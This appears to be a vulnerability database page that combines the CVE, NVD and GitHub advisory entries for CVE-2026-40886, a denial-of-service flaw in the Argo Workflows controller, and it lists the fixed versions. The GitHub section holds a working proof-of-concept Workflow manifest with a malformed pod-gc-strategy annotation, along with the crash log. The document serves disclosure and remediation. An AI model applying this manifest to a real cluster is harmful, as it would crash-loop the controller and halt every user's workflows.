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CVE-2026-40886 (GCVE-0-2026-40886)

Vulnerability from cvelistv5 – Published: 2026-04-23 18:12 – Updated: 2026-07-15 01:00

Title

Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows controller

Summary

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 3.6.5 to 4.0.4, an unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted. This vulnerability is fixed in 4.0.5 and 3.7.14.

Severity

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-25 01:22 UTC

CWE

CWE-129 - Improper Validation of Array Index
CWE-1285 - Improper Validation of Specified Index, Position, or Offset in Input

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
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https://access.redhat.com/security/cve/CVE-2026-40886	vdb-entryx_refsource_REDHAT
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https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex

Impacted products

2 products

Vendor	Product	Version	CPE status
argoproj	argo-workflows	Affected: >= 4.0.0, < 4.0.5 Affected: >= 3.7.0, < 3.7.14 Affected: >= 3.6.5, <= 3.6.19	guessed
Red Hat	Red Hat OpenShift AI (RHOAI)	cpe:/a:redhat:openshift_ai

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FKIE_CVE-2026-40886

Vulnerability from fkie_nvd - Published: 2026-04-23 19:17 - Updated: 2026-07-15 02:21

Severity

7.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
7.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/argoproj/argo-workflows/security/advisories/GHSA-5jv8-h7qh-rf5p	Exploit, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-40886
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2461236
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/argoproj/argo-workflows/security/advisories/GHSA-5jv8-h7qh-rf5p	Exploit, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40886.json

Impacted products

Vendor	Product	Version
argoproj	argo_workflows	*
argoproj	argo_workflows	*
argoproj	argo_workflows	*

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GHSA-5JV8-H7QH-RF5P

Vulnerability from github – Published: 2026-04-23 21:39 – Updated: 2026-04-23 21:39

Summary

Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows Controller

Details

Summary

An unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.

Details

podGCFromPod() splits the annotation value on "/" and unconditionally accesses parts[1]:

func podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {
    if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {
        parts := strings.Split(val, "/")
        return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}
    }
    return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}
}

If the annotation value contains no "/", parts has length 1 and parts[1] panics with index out of range.

The code was introduced in #14129 and affects versions:

3.6.x: v3.6.5 through v3.6.19 (backport in #14263)
3.7.x: v3.7.0-rc1 through v3.7.12
4.x: v4.0.0-rc1 through v4.0.3
Not affected: v3.6.4 and earlier

PoC

Apply this workflow to a cluster running the Argo Workflows controller:

kubectl apply -n argo -f - <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  name: crash-podgc
spec:
  entrypoint: main
  serviceAccountName: default
  podGC:
    strategy: OnPodCompletion
  podMetadata:
    annotations:
      workflows.argoproj.io/pod-gc-strategy: "NoSlash"
  templates:
    - name: main
      container:
        image: alpine:3.18
        command: [echo, "hello"]
EOF

Within seconds the controller crashes. The controller pod will show CrashLoopBackOff with increasing restart count. Controller logs show:

panic: runtime error: index out of range [1] with length 1

goroutine 291 [running]:
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246

Recovery requires deleting the poisoned workflow:

kubectl delete workflow -n argo crash-podgc

Impact

Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only create permission on Workflow resources, which is the baseline permission for any Argo Workflows user.

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

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